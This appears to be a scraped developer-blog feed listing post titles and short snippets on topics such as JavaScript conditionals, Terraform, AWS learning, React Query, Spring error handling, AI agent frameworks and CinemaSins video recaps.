    Check out this Pen I made!  ( 5 min )
    conditional Statements in Js
    Conditional Statements allow us to perform different actions for different conditions. if if...else if...else if...else switch ternary (? :) If: if(conditon) { //executed the code block } The else Statement: Use else to specify a code block to be executed, if the same condition is false. if (condition) { // code to execute if the condition is true } else { // code to execute if the condition is false } The else if Statement: Use else if to specify a new condition to test, if the first condition is false. if (condition1) { // code to execute if condition1 is true } else if (condition2) { // code to execute if the condition1 is false and condition2 is true } else { // code to execute if the condition1 is false and condition2 is false } The switch Statement: switch is often used as a more readable alternative to many if...else if...else statements, especially when dealing with multiple possible values.if break is not here in the every case they continue the next case is printed and after the break is executed the block code Syntax switch(expression) { case x: // code block break; case y: // code block break; default: // code block } Ternary Operator (? :) Use (? :) (ternary) as a shorthand for if...else. condition ? expression1 : expression2  ( 6 min )
    Best Official AWS Learning Programs — What They Are & How to Get Started
    If you’re new to AWS, one of the first questions you’ll probably ask is: “Where should I start learning?” It’s a good question — because AWS is huge. There are hundreds of services, dozens of certifications, and countless tutorials everywhere. But the good news is that AWS itself provides several official learning programmes, trusted worldwide and kept up to date as technologies evolve. Whether you’re new to cloud computing, switching careers, or just curious about AWS — there are several official AWS programmes that help you learn, practice, and build real cloud skills. In this blog post, I cover three major AWS learning programmes: what they are, what they offer, and how you can register today. Before we begin, here’s a quick note. Before we dive into these learning programmes, here’s s…  ( 9 min )
    Frequency piano
    Check out this Pen I made!  ( 5 min )
    Mastering the [SETTINGS] Section in Uniface Assignment Files
    If you are developing enterprise applications with Uniface, you know that the Assignment File (.asn) is the nervous system of your application's runtime configuration. While sections like [ENTITIES] or [DRIVER_SETTINGS] often get the spotlight during database setup, the [SETTINGS] section is where the battle for a stable, environment-agnostic runtime is won. In this post, we’ll dive into what the [SETTINGS] section actually does, the correct syntax for resource loading (fixing common misconceptions), and how to architect it for Development vs. Production environments. The [SETTINGS] section is used to define Uniface Logicals and Kernel settings. These are environment variables specific to the Uniface runtime that are loaded before your application logic starts. They control how Uniface beh…  ( 8 min )
    Breaking the Sound Barrier with AI: Reinventing Flight Design by Arvind Sundararajan
    Breaking the Sound Barrier with AI: Reinventing Flight Design Imagine designing a supersonic jet engine without a wind tunnel, or optimizing a spacecraft’s heat shield before ever firing it up. The cost and complexity of physical testing have always been a massive bottleneck in aerospace engineering. But what if we could accurately simulate these complex aerodynamic conditions with unprecedented speed and efficiency using AI? The core idea is this: train a neural network to act as a "surrogate" for complex computational fluid dynamics (CFD) simulations. Instead of running computationally intensive calculations every time we tweak a design, we can use the AI to instantly predict the aerodynamic performance. This allows for rapid exploration of design possibilities, something previously im…  ( 7 min )
    Pitch Shifter with audio analyzer
    Check out this Pen I made!  ( 5 min )
    Pitch Shifter With Audio Analyser
    Check out this Pen I made!  ( 5 min )
    Type hints in Python (7)
    Buy Me a Coffee☕ *Memo: My post explains type hints (1). My post explains type hints (2). My post explains type hints (3). My post explains type hints (4). My post explains type hints (5). My post explains type hints (6). Callable and Protocol can be used for a function as shown below: *Memo: Callable can specify argument and return types, doing less than Protocol: The 1st argument is argtypes(Required:-Type:list(Type) or ellipsis): It's a list of one or more argument types. Use the empty list '[]' for no arguments. ... (but not Ellipsis) can be used to accept the zero or more arguments of all types but it shouldn't be used because it's too gereral: ... is different from Any which accepts the one argument of all types. Don't use argtypes=. The 2nd argument is returntype(Required-Typ…  ( 8 min )
    Building a Fast Insurance Site with Acheron: Under the Hood
    Acheron Insurance WordPress Theme: A Developer’s Deep Dive I’ll be honest: the last time I rebuilt an insurance website, I thought the “hard part” would be the design. Spoiler—nope. The hard part was everything behind the design: quote flows, service pages that need to rank, “trust signals” that can’t feel cheesy, and performance that doesn’t collapse the moment you add one more form. That’s exactly why I tried Acheron - Insurance WordPress Theme—not because I wanted another pretty demo, but because I wanted a foundation I could actually extend without turning my site into a brittle pile of overrides. What follows is not a glossy “top 10 features” list. This is the kind of write-up I wish existed when I’m wearing my site-admin hat at 1:00 AM, trying to keep a production site stable while…  ( 11 min )
    QR-Genie: Building a Single-Purpose QR Code Tool with Kiro AI
    ✨ QR-Genie: Building a Single-Purpose QR Code Tool with Kiro AI AI for Bharat Hackathon - Week 1: Micro-Tools Submission QR codes are everywhere — restaurant menus, payment apps, event tickets, WiFi sharing. Yet, most QR tools online are either: Cluttered with ads and unnecessary features Slow and require multiple steps Ugly with outdated UI designs Limited — generate only, no scanning I needed a single-purpose micro-tool that does ONE thing elegantly: Generate and scan QR codes instantly with a clean, modern interface. QR-Genie is a lightweight, beautiful web app that solves this tiny but annoying problem: ✅ Generate QR codes from any text or URL instantly ✅ Scan QR codes using your device camera ✅ Download as PNG with one click ✅ Copy to clipboard for quick sharing ✅ No ads, no clu…  ( 9 min )
    How to Handle HttpClientErrorException in Spring RestTemplate: A Complete Guide
    The Problem RestTemplate restTemplate = new RestTemplate(); // If this URL returns 404, the app crashes! String response = restTemplate.getForObject("https://api.example.com/users/999", String.class); While working on a company project one evening, I encountered an HttpClientErrorException from an API response. This error was new to me. After debugging, I solved it and learned how to handle it properly. In this post, I'll explain what this error is and how you can handle it in your code. RestTemplate throws RestClientResponseException and its subtypes when API calls fail. The most common subtypes are HttpClientErrorException and HttpServerErrorException. Here is the exception hierarchy: RestClientException → base class RestClientResponseException extends RestClientException HttpSta…  ( 8 min )
    Web Developer Travis McCracken on API Gateway Design with Rust and Go
    Harnessing the Power of Rust and Go in Backend Development: Insights from Web Developer Travis McCracken As a seasoned Web Developer specializing in backend architecture, I’ve always been fascinated by the capabilities of Rust and Go. These two languages continue to redefine how we build fast, reliable, and scalable APIs. Today, I want to share some insights into why I’ve integrated Rust and Go into my projects, discuss some fictional yet illustrative projects like 'fastjson-api' and 'rust-cache-server', and offer guidance for fellow developers eager to leverage these powerful tools. The popularity of Rust and Go in backend development cannot be overstated. Rust’s emphasis on memory safety and performance makes it ideal for building systems where speed and reliability are paramount. On the…  ( 8 min )
    The "Happy Path" is dead. This is the era of Defensive AI Architecture.
    We spent the last two years figuring out how to make LLMs "smart." We learned RAG, Chain-of-Thought, and Tool Use. But in 2025, the challenge isn't intelligence. It's Containment. The difference between a demo and a production system isn't the prompt, it's the architecture that stops the LLM from bankrupting you or crashing your backend. I call this shift "Defensive AI Architecture." It's the discipline of treating LLMs not as magic oracles, but as non-deterministic, hostile microservices. The Anatomy of an AI Crash The Context Overflow: A user pastes a 50-page PDF. A naive sliding window drops the System Prompt (the instructions), lobotomizing the bot mid-conversation. The Wallet Burner: Your support bot answers "How do I reset my password?" 5,000 times a day, triggering 5,000 fresh GPT-4…  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins’ latest “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less” is a cheeky, rapid-fire roast of the movie, scoring every plot hole, cringe moment and over-the-top KPop action sequence. Expect snappy quips, familiar “sins” jokes, and plenty of tongue-in-cheek nitpicking that fans of the channel know and love. Beyond the video itself, CinemaSins encourages viewers to explore their website and social feeds (YouTube channels, Discord, Reddit, TikTok, Instagram), weigh in on a quick poll, and even support the team on Patreon. Writer shout-outs (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and links to books, merch and more round out the extra goodies for die-hard Sin-ners. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less is Cinemasins’ latest deep-dive into the film’s quirks and plot holes, sponsored by BetterHelp. They plug their site, YouTube channels (TVSins, CommercialSins, CinemaSinsPodcastNetwork), social links, a “sinful” poll, and Patreon support. The video credits a team of writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—with their social handles, and points fans to extra community hubs like Discord, Reddit, Instagram, TikTok and Jeremy’s book. Watch on YouTube  ( 6 min )
    Hacking Social Proof: An Engineer's Playbook for Automated Video Testimonials
    As engineers, we live and breathe automation. We build CI/CD pipelines to ship code faster, write scripts to provision infrastructure, and create APIs to make data flow seamlessly. So why are so many B2B companies still collecting customer testimonials like it's 2005—with manual emails, calendar invites, and a prayer? Social proof isn't just marketing fluff; it's a critical dataset for building trust and driving growth. But manual collection is a bottleneck. It’s inconsistent, time-consuming, and simply doesn't scale. Let's treat this like any other engineering problem and build a robust, automated pipeline. Manually asking for video testimonials is a high-friction process for everyone: Your Team: It's a logistical nightmare of scheduling, following up, and editing. Your Customer: They…  ( 9 min )
    The New Literacy Divide
    In the gleaming computer labs of Britain's elite independent schools, fifteen-year-olds are learning to prompt AI systems with the sophistication of seasoned engineers. They debate the ethics of machine learning, dissect systemic bias in algorithmic systems, and explore how artificial intelligence might reshape their future careers. Meanwhile, in under-resourced state schools across the country, students encounter AI primarily through basic tools like ChatGPT—if they encounter it at all. This emerging divide in AI literacy threatens to create a new form of educational apartheid, one that could entrench class distinctions more deeply than any previous technological revolution. The concept of literacy has evolved dramatically since the industrial age. What began as simply reading and writing…  ( 28 min )
    The Ultimate Guide to React Query: Supercharge Your React Apps
    If you’ve ever built a React application that fetches data from an API, you know the challenges of managing server state. Between loading states, error handling, caching, and synchronization, data management often becomes complex. Enter React Query — the missing piece for data fetching in React applications. In this guide, we’ll explore how React Query transforms your development experience and improves app performance. React Query (now TanStack Query) handles server state management in React applications. It provides hooks for fetching, caching, synchronizing, and updating server data without complex “global state” solutions. Simplified Data Fetching: Dramatically reduce boilerplate code Intelligent Caching: Automatic caching and background updates Built-in Loading & Error States: N…  ( 7 min )
    Step-by-Step Guide to Building Multi-Agent Systems for Text to SQL Conversion
    In the world of data management, querying databases efficiently and accurately is a common challenge. Traditionally, accessing information from databases requires knowledge of SQL, a skill that not all users possess. As businesses grow and data becomes more complex, multi-agent systems for text to SQL are emerging as a powerful solution. These systems enable users to interact with databases using natural language, converting text queries into SQL queries automatically. A multi-agent system is a collection of autonomous agents that work collaboratively to solve a complex problem. In the context of text-to-SQL, these agents specialize in different tasks, such as understanding the natural language query, mapping that query to the database schema, and generating the appropriate SQL query. Rath…  ( 9 min )
    Design Patterns Every Developer Should Know
    Software development is full of repeated problems — from creating objects to managing complexity to organizing code. Instead of reinventing the wheel every time, developers rely on design patterns — proven solutions that help keep code simple, flexible, and maintainable. Think of design patterns as reusable templates. They don’t give you exact code to copy-paste, but they guide you toward a clean and reliable way to solve common problems. Below are the patterns every developer should understand, no matter what language you work with. Sometimes you need a single, globally accessible object — like a database connection, logger, or configuration manager. Why it matters: Simple example: Creating objects can become messy when different types require different setup steps. The Factory Method pat…  ( 7 min )
    Day 5 Terraform variables in AWS
    Today in the #30DaysOfAWSTerraform challenge, I finally understood how powerful Terraform variables are and how using them properly makes your code cleaner, more organized, less repetitive, and easier to maintain. This was the day things started clicking for me. Here’s what I personally understood during Day 5: Variables remove repetition and make code more organized and readable. I learned input variables, output variables, and local values. I understood how to view resource IDs using terraform output. I learned how to override variables using: terraform.tfvars command-line overrides (terraform plan -var=environment=test) environment variables ($env:TF_VAR_environment="test") Overall, variables make code flexible and eliminate hardcoding everywhere. These are the exact commands I ran whil…  ( 7 min )
    Google's December 2025 Helpful Content Update: The Recovery Playbook Nobody's Talking About
    Your traffic dropped 40% overnight. You checked Google Search Console. Then checked again. Refreshed the analytics dashboard three times because surely the data was wrong. It wasn't. Welcome to December 2025, where Google's latest Helpful Content Update decided your perfectly good content wasn't so helpful after all. The thing is, this update isn't like the others. And the recovery tactics that worked in 2023? Yeah, most of those are about as useful as a screen door on a submarine. I've spent the past three weeks analyzing over 200 sites that got hit—some recovered, most didn't. Here's what actually changed and what's working for recovery. Let's cut through the noise. Every SEO guru on LinkedIn is posting the same recycled advice about "creating quality content" and "focusing on user inten…  ( 12 min )
    Diving Deeper into SQL: Advanced Queries and Real-World Applications
    SQL (Structured Query Language) is the backbone of data analysis, enabling us to extract, manipulate, and analyze data stored in relational databases. As I revisit the basics of SQL and move into more complex queries, I have realized just how powerful advanced SQL can be for uncovering deeper insights. It is essential for anyone looking to level up their data analysis skills to master SQL. Here are some of the advanced SQL concepts that helped me elevate my queries: JOIN Types (INNER, LEFT, RIGHT, FULL OUTER): Understanding the different types of joins is key when working with multiple tables. INNER JOINs bring rows with matching values, while LEFT/RIGHT JOINs include all records from one table, filling with NULLs where there is no match. FULL OUTER JOINs combine both sides. Subqueries a…  ( 8 min )
    Fix Damaged PDF File Online Free - 7 Best Repair Tools That Actually Work
    Having trouble opening a PDF file? It might be corrupted or damaged. Here are 7 free online tools that can help you repair and recover your PDF files. PDF files can become corrupted due to: Incomplete downloads Power outages during file transfer Virus or malware attacks Storage device failures Software crashes while editing A popular online tool that offers PDF repair along with many other PDF utilities. Simply upload your damaged file and let it work its magic. Another reliable online option that can fix corrupted PDF files quickly and securely. Offers a dedicated PDF repair tool that works directly in your browser. A comprehensive PDF toolkit that includes repair functionality. Simple interface for repairing damaged PDF documents. Well-known PDF platform with repair capabilities. Free desktop and online tools for PDF repair. Always keep backups of important documents Use reliable download managers Keep your antivirus software updated Use cloud storage for critical files If these tools don't work, you may need professional assistance. Get 24/7 tech support at https://bit.ly/ask-a-tech For more PDF troubleshooting guides, visit https://pdfwontopen.repair or https://mrgrid.io  ( 6 min )
    How Kiro Revolutionized My Approach to Medical Education Technology
    Before Kiro, I saw AI as just another tool. After building Cadaver's Crypt, I see it as a development partner that understands context, domain knowledge, and creative vision. From: Linear coding with constant context switching To: Conversational development with integrated domain expertise Kiro didn't just help me write code - it helped me think through complex problems in medical education and find innovative solutions. When Kiro generated a complete Three.js anatomy viewer with built-in medical validation and Halloween effects in one conversation, I realized this was different. The platform understood: Medical accuracy requirements Educational psychology principles 3D graphics optimization Theme consistency needs The real value came from Kiro's ability to: Maintain context across multiple development sessions Suggest architectural improvements I hadn't considered Automate validation workflows that would have taken weeks Balance educational integrity with user engagement A production-ready medical education platform built in record time, with features that would typically require a full team of developers and medical experts. edtech #medtech #ai #webdev #innovation kiro  ( 6 min )
    Technical Advantages and Industrial Applications of Copper Wire Mesh
    Copper wire mesh is a highly specialized woven material used in industries where electrical conductivity, precision filtration, corrosion resistance, and electromagnetic performance are critical. This article breaks down the core technical advantages of copper wire mesh and its major industrial applications. High Electrical Conductivity for EMI/RFI Shielding Copper has one of the highest conductivity ratings of all engineering metals. Low-resistance current pathways Effective EMI/RFI shielding Uniform grounding performance Stable signal blocking Common engineering uses include: Faraday cages Signal-blocking enclosures Electronic device shielding Audio and communication equipment filters The structure of woven mesh ensures dense contact points, improving conductivity compared with solid she…  ( 7 min )
    Building a High-Performance Search System for a Car Mechanic CRM with MongoDB Change Data Capture
    The Problem In our car mechanic CRM application, users needed to search across multiple entities simultaneously—customers, their vehicles, appointment history, and service records. However, our data architecture presented a significant challenge. Our application followed database normalization best practices. Data was organized into separate collections: Users collection - Customer information Appointments collection - Service appointment records Vehicles collection - Vehicle details with references to master data collections While this normalized structure kept our data clean and avoided redundancy, it created a performance bottleneck for search operations. To execute a single search query, we needed to perform 2-3 layers of lookups across collections, followed by text regexp searches. …  ( 9 min )
    How AI Makes Waste Collection Smarter: Inside GreenGuardian’s Intelligent Features
    Waste management typically depends on fixed schedules. Drivers follow the same routine every day, even if bins are half-empty. This wastes time, fuel, and effort. GreenGuardian uses artificial intelligence to change this pattern by introducing dynamic waste monitoring and predictive planning. The system collects data from smart bins, drivers, resident requests, and historical waste patterns. AI models then analyze this information to detect waste hotspots, peak usage times, and unusual surges. This is especially useful during events like Bakra Eid, when organic waste increases sharply in certain areas. Route optimization is one of the key AI-powered features. Instead of sending drivers on predefined routes, the system creates routes based on actual bin fill levels, road layout, driver availability, and current workload. This reduces unnecessary travel, lowers emissions, and shortens collection time. Another intelligent feature is the sentiment analysis engine. Residents often express concerns or complaints through the mobile app. These messages are processed to understand their tone and categorize issues. This helps society administrators respond faster and identify repeated problems without manually reading every message. AI doesn’t replace human workers — it strengthens them. By giving accurate predictions, smarter planning, and meaningful insights, it allows staff to focus on execution rather than guesswork. As more data accumulates, the system continually improves its recommendations, making waste management smoother and more efficient over time.  ( 6 min )
    echo3D Now Integrates with Autodesk 3ds Max
    We are thrilled to announce that echo3D now has a plugin for Autodesk 3ds Max. For decades, Autodesk 3ds Max has been the gold standard for 3D modeling, animation, and rendering. Now, by integrating directly with echo3D’s robust 3D Digital Asset Management (DAM) platform, we are closing the gap between creation and deployment. This integration allows 3D designers and teams at large organizations to stream 3D assets directly from the 3ds Max interface into the echo3D DAM, completely eliminating the friction of manual exports, uploads, and file juggling. Direct Streaming from Editor to Cloud The core of this integration is efficiency. Traditionally, moving a model from a design environment to a content delivery network involved a tedious cycle of exporting, optimizing, re-uploading, and v…  ( 7 min )
    AI Keeps Reinventing Your Components. Here's How to Stop It.
    Three days before a customer pilot, our PM pinged me: "Can we ship that analytics dashboard?" The design had been sitting in Figma for weeks. I promised I'd have it in production by Friday with AI co-pilot. By Wednesday morning, the PR was still in draft. Not because the UI was hard—it looked exactly like the mock—but because the AI kept inventing work. Here's what a typical week produced: // Monday - inline styles export const RevenueCard = () => { return ( Total Revenue $124,500 ); }; // Tuesday - M…  ( 10 min )
    Beyond-env-A-Grown-Ups-Guide-to-Application-Configuration
    GitHub Home .env: A Grown-Up's Guide to Application Configuration 🧐 Let me tell you a ghost story. 👻 A few years ago, a new guy on our team made a mistake with a configuration item during an emergency online hotfix. He was supposed to point the database address to the read-only replica of the production environment, but he forgot to update that tiny .env file on the production server. The result? The live service connected to his local development database. 😬 The next hour was a disaster for our entire department. User data was contaminated by test scripts, order data was messed up, and the CEO's call went straight to my cell phone. We spent an entire weekend cleaning up data and appeasing users. And the root cause of all this was a single, tiny text file that someone forgot to modify…  ( 9 min )
    AWS Strands Agents 🧬 Sequential Multi Agent Workflow
    AI agents are quickly becoming the intelligence layer of modern applications, managing decisions, triggering tools, and producing real-time responses. But scaling them effectively demands a strong underlying framework. There are strong agent development frameworks have been released: AWS Strands Agents Google Agent Development Kit (ADK) CrewAI In this post, we’ll implement an end-to-end sequential agent app using AWS Strands, AWS Bedrock and AWS Nova, FastAPI, and a Streamlit UI. What is AWS Strands Agents? Installing Libraries & Reaching LLM Model Application Code Sample Prompt / Output Conclusion References Strands agent is an open-source framework to develop AI agents to run anywhere: VSCode, Terminal, Docker Container, AWS Bedrock AgentCore, AWS Lambda, AWS ECS (Elastic Containe…  ( 19 min )
    Self‑Taught, Not Self‑Neglected: Blue Beanie Day Tips for Indie Developers
    Sunday, November 30th 2025, marks the 18th annual Blue Beanie Day. Okaaaaay, why is this relevant for inclusion? Blue Beanie Day reminds us to pay attention to web standards in order to create sites that load faster, reach more users, and cost less to maintain. Accessibility is part of these standards. The web was designed with accessibility in mind. Exactly 10 years ago, Tumblr user BlueBeanieDay posted: It’s a thrilling time to create web content and experiences, as more new coders join our ranks, using more new tools and frameworks to create more new kinds of content, experience, and interactivity. But in this environment that moves faster than reason, it’s too easy for our community—and the breathless media that reports on it—to lose sight of vital basics. Progressive enhancement an…  ( 8 min )
    Code Canvas: Building a New Way to See, Explore, and Understand Code
    As developers, we've all felt the frustration of diving into an unfamiliar codebase—legacy projects, open-source repos, or even our own code from months ago. What should take minutes stretches into hours as you navigate countless files, hunting for where the logic actually lives. We know, all of us have suffered from this, but not anymore! Code Canvas is a visual code intelligence platform that transforms any repository into an interactive, explorable canvas. With just one click, upload any repo or your own code files and watch it come alive on an infinite canvas. No need to scroll through endless files and folders, see your entire codebase laid out visually. Navigate naturally, understand connections instantly, and watch your code flow through your files. Code Canvas turns static text in…  ( 9 min )
    𝐃𝐞𝐞𝐩 𝐃𝐢𝐯𝐞 𝐑𝐞𝐚𝐜𝐭 𝐍𝐚𝐭𝐢𝐯𝐞 #3: 𝐁𝐚𝐛𝐞𝐥 #2— The Real-World Battlefield
    In the previous part, we established that Babel is the "Translator." Now, let's see how this translator handles difficult situations in a real project. Many developers configure Aliases, run the app, and it works perfectly, but VS Code is covered in red errors. Or vice versa: VS Code is happy, but the app crashes. Why? Because this is the "Triangle of Synchronization." For an Alias (e.g., @components/Button) to work smoothly, three giant systems must shake hands: Babel: So the code runs (Runtime). TypeScript (tsconfig.json): So VS Code understands and provides autocomplete (Dev Experience). Metro: (Sometimes) To resolve overlapping imports. The Standard Configuration yarn add -D babel-plugin-module-resolver In babel.config.js: module.exports = { presets: ['module:@react-native/babel-pres…  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a rapid-fire roast that hilariously points out every plot hole and trope in the film. If you’ve ever wondered what sinning demon-slaying K-pop idols sound like, this video’s your jam. They’ve also sprinkled in links to their website, YouTube channels (@TVSins, @commercialsins), socials (Discord, Reddit, TikTok, Instagram), a quick poll for fans, and a Patreon pitch to keep the sin machine running. Big shout-out to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel for packing this roast with punchy commentary. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    TL;DR CinemaSins’ latest video, Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less, tears into the new FF movie—declaring it “just as sintastic as any other Marvel flick”—all while plugging BetterHelp therapy discounts. For more nitpicks and pop-culture roasting, hit up their website, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), Discord, Reddit, TikTok, Instagram, and fill out their sinful poll. Big thanks to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian & Daniel—your sin counts wouldn’t be the same without them. Watch on YouTube  ( 6 min )
    i built a tiny mood based video picker so my lunch break doesnt disappear into scrolling
    So, quick backstory. I built this because my food kept getting cold. Most days I’d sit down with lunch, open a video site “just to find one thing to watch”, and then somehow I’d spend 15–20 minutes just scrolling. No video, food already not warm anymore, and my break was kind of gone. At some point I got annoyed enough that I opened my editor and started hacking. I ended up with this: 👉 Break Picks – a tiny site with hand-picked videos for short breaks https://break.baratheon.my.id/ No login, no feed, no “here’s 100 recommendations you didn’t ask for”. Just: a small list of videos I actually watched grouped by mood meant for break time, not “it’s 2AM how did I get here” time When I’m eating, I don’t really want to choose. I just want one decent video that fits how I feel right now. So …  ( 8 min )
    Cool / must have Paint.net plugins
    paint.net extensions / paint.net plugins boltbait.com/pdn kris vandermotten - object align/blur/gradient/other https://www.vandermotten.be/paintdotnet http://users.telenet.be/krisvandermotten/Downloads/PaintDotNetEffects.html madjik - seamless texture mike ryan - alias https://forums.getpaint.net/topic/112730-content-aware-fill-2018-10-4/ smudge https://forums.getpaint.net/topic/7291-pyrochild-plugins-2017-12-04/ aa assist + extra https://forums.getpaint.net/topic/16643-dpys-plugin-pack-2014-05-04/  ( 6 min )
    Forward to BotticelliBots v.0.9
    Several new main issues, currently we're working on: Easiness of deployment — Docker: provide Dockerfiles, docker-compose examples, and documented deployment steps; aim for one-command startup. Output BotId while starting a bot — log/display the BotId at startup for tracking and debugging. Botticelli.Framework unit tests — create and run unit tests for the Botticelli.Framework components. Target coverage — minimum 30% unit test coverage for Botticelli.Framework.  ( 6 min )
    The Infrastructure Overhaul That Saved My Development Velocity — A Traefik & Turborepo Migration Story
    Introduction What started as a simple "let's optimize my development setup" turned into a complete infrastructure overhaul that would define my productivity for months to come. My development environment was becoming a bottleneck—port conflicts, slow builds, and tangled dependencies were slowing me down. This is the story of how I migrated to Traefik-based centralized orchestration and Turborepo monorepo structure, and the painful lessons I learned along the way. Every morning, I would face the same ritual: Problem Symptom Time Wasted Daily Port conflicts "Backend won't start, port 8000 is in use" 15-30 minutes Build bottlenecks "Waiting for frontend build... again" 20-45 minutes Dependency hell "Module not found: kyc_core.utils" 10-20 minutes Environment drift "Works on my …  ( 10 min )
    Stop Doomscrolling: I Built an Autonomous AI Agent to Filter the Noise (Python + LangGraph)
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    The 7 Best AI Powered Diagrams to Supercharge Your Workflow
    It’s impossible to ignore the moment you realize your entire recommendation hinges on a diagram your client doesn’t fully understand. That single misunderstanding can derail timelines, dilute insights, and slow decision-making. Many consultants struggle with diagram clarity, especially when trying to simplify layered systems, competing priorities, or complex workflows. These challenges quietly drain hours and create unnecessary friction across business consulting workflows, leaving teams stuck re-explaining instead of moving forward. Why Documentation Inefficiency Keeps Projects From Gaining Momentum Nothing stalls a project faster than documentation that feels scattered, outdated, or overly dense. Management consultants, strategists, and analysts constantly juggle notes, whiteboards, scre…  ( 12 min )
    Understanding Terraform Providers: A Beginner’s Guide
    Terraform is one of the most popular Infrastructure as Code (IaC) tools used by DevOps engineers. While Terraform Core is responsible for managing configurations and state, providers are the plugins that allow Terraform to interact with cloud platforms, SaaS services, and APIs. In this post, we’ll explore Terraform providers, why versioning matters, and how to manage provider versions effectively. Terraform Providers are plugins that act as a bridge between Terraform and your cloud infrastructure or services. Example: To create an AWS EC2 instance or S3 bucket, you use the hashicorp/aws provider. Think of Terraform Core as the brain and Providers as the hands that manipulate resources in the cloud. Component Role Terraform Core- The main binary that parses configurations and manages sta…  ( 7 min )
    BIG STEPS TO TRANSFORMER (PART 1): BUILDING THE BIGRAM
    I'm back! It took a while for me to grasp all of the basics about Transformer, and we're now ready to jump right into that big boy. The days of playing with casual neural net stuff are gone, we shall behold the most modern architecture in this world, and let's break it down step by step. This blogpost is, again, based from the series about Neural Nets from Andrej Karpathy. Big respect to him. Now let's start our journey, we will start simple, really simple, by calling again our primitive language model: The Bigram Language Model. You may ask: Why is the point of this? Then relax, my friend, even though the bigram is an extremely simple model, it provides a great setup for our big boy. To be more specific, in this blog, we will rebuild the bigram in a more general way, in which we will adju…  ( 16 min )
    🚀 Jordium Gantt Vue3 v1.4.3 — High-Performance Gantt Charts for Large Datasets
    I just released Jordium Gantt Vue3 v1.4.3, focusing on one key thing: performance at scale. Gantt charts are widely used in project management and production scheduling, but most libraries struggle once you reach thousands of tasks. This release addresses those bottlenecks with virtualized scrolling and virtualized rendering, making even 10,000+ tasks scroll and render smoothly. YouTube Virtualized Scrolling: Only visible tasks are rendered in TaskList & Timeline, dramatically improving scroll performance. Virtualized Rendering: Reduces DOM overhead by rendering elements on demand. Optimized Large-Data Rendering: Handles industrial-scale datasets in APS/MES, project planning, and resource management systems. New Large-Data Demo: Test and see performance improvements in real-world scenarios. Security Updates: jsPDF vulnerabilities fixed. 💡 Why this matters If you’ve ever tried building a Gantt chart in the browser and watched it choke on large datasets, this release is a game-changer. It’s open-source, lightweight, and designed for developers who need scalable, high-performance Gantt charts in Vue.js projects. Check it out, test with your datasets, and feedback is always welcome! Github: github Demo: demo  ( 6 min )
    🌱 Day 1 — Introduction to Terraform | 30 Days Terraform Challenge
    Infrastructure provisioning has evolved from manual setup to complete automation using Infrastructure as Code (IaC). Today, we begin the Terraform 30-Day Challenge with the fundamentals that every DevOps Engineer must know. 🚀 What You Will Learn Today What is Infrastructure as Code (IaC) Why IaC is needed in modern DevOps What Terraform is & its benefits Problems with traditional provisioning Terraform workflow lifecycle Installing Terraform (Windows / Mac / Linux) Hands-on practice tasks Infrastructure as Code means provisioning and managing your servers, networks, databases, and cloud infrastructure using code instead of manual steps. Simply put: Manual steps → replaced by code automation. ⚡ Why Do We Need IaC? ✅ 1. Consistency No more “It works on my machine”. ✅ 2. Time Efficienc…  ( 7 min )
    Poems About Tech Burnout: When Senior Engineers Start Dreaming of a Simpler Life
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    By Muhammed Shafin P (@hejhdiss) Licensed under Creative Commons Attribution-ShareAlike 4.0 International License (CC BY-SA 4.0) As I explained in my previous article, Qeltrix V1 through V5 aren't five different tools—they're five incremental proofs-of-concept demonstrating different aspects of a single, unified cryptographic archiving system. Think of them as chapters in a book, not different books entirely. V6 represents the next chapter in this ongoing story: network-native streaming. While V1 proved content-derived encryption works, V2 demonstrated random access, V3 validated asymmetric encryption, V4 showed cipher flexibility, and V5 established folder archiving with VFS—V6 pushes the complete Qeltrix vision into the realm of live network transmission. The proposed Qeltrix V6 represen…  ( 14 min )
    From Attendee to Advocate: My Journey with AWS User Group Vadodara
    I remember the day clearly. After returning from KubeCon in 2022, I was curious about local AWS activity and decided to search for user groups near me. I found a meetup listed for Vadodara and went — not as a speaker, not as an organiser, simply as someone who wanted to learn. Walking into that room for the first time was a small shock. People were talking architecture, deployments, and product announcements like it was just another day. I felt out of place for a moment. Then Manan Vasavada — hosting the meetup at Avdevs — said something simple and disarming: “No one here is an expert. You have a topic? Just talk about it.” That sentence changed everything. It removed the need to be perfect. It made space for people who were curious and willing to share. I kept coming back. My first AWS Us…  ( 11 min )
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    What is Miniviz? Miniviz is a BI platform developed for individuals to accelerate IoT PoC (Proof of Concept). It enables you to easily achieve data transmission, storage, visualization, and notifications all in one place. The main features are: Database functionality Graph/chart functionality External alert functionality https://miniviz.net/ In this tutorial, we'll create a sample project that sends data from a temperature and humidity sensor and creates graphs to visualize the data. ESP32 USB cable (for data transfer) Temperature and humidity sensor (DHT11 or similar) Jumper wires Breadboard (optional) Set up ESP32 development environment (PlatformIO) Connect sensor and implement source code (read temperature/humidity and send data) Verify data transmission, create graphs, and set up no…  ( 8 min )
    How I got Cursor to write code that could actually ship
    AI code generators write more code than ever, and they do it fast. Sahil Lavingia said it well in a recent tweet. If developers now produce five to ten times more code with AI, we need something that can review five to ten times more code too. That is the real problem. Tools like Cursor generate code that looks right but often contains small mistakes that only show up when the project runs. Wrong Prisma fields, missing checks, loose validation, repeated logic, or scripts that fail silently. None of this feels dramatic. It is just enough to slow you down or break production. I hit all of this while building an Express TypeScript API. Cursor helped me create the project fast, then I spent real time fixing the parts it got wrong. That is when the pattern became clear. AI code generation is no…  ( 11 min )
    Your-Deployments-Are-Stuck-in-the-Past-The-Lost-Art-of-the-Hot-Restart
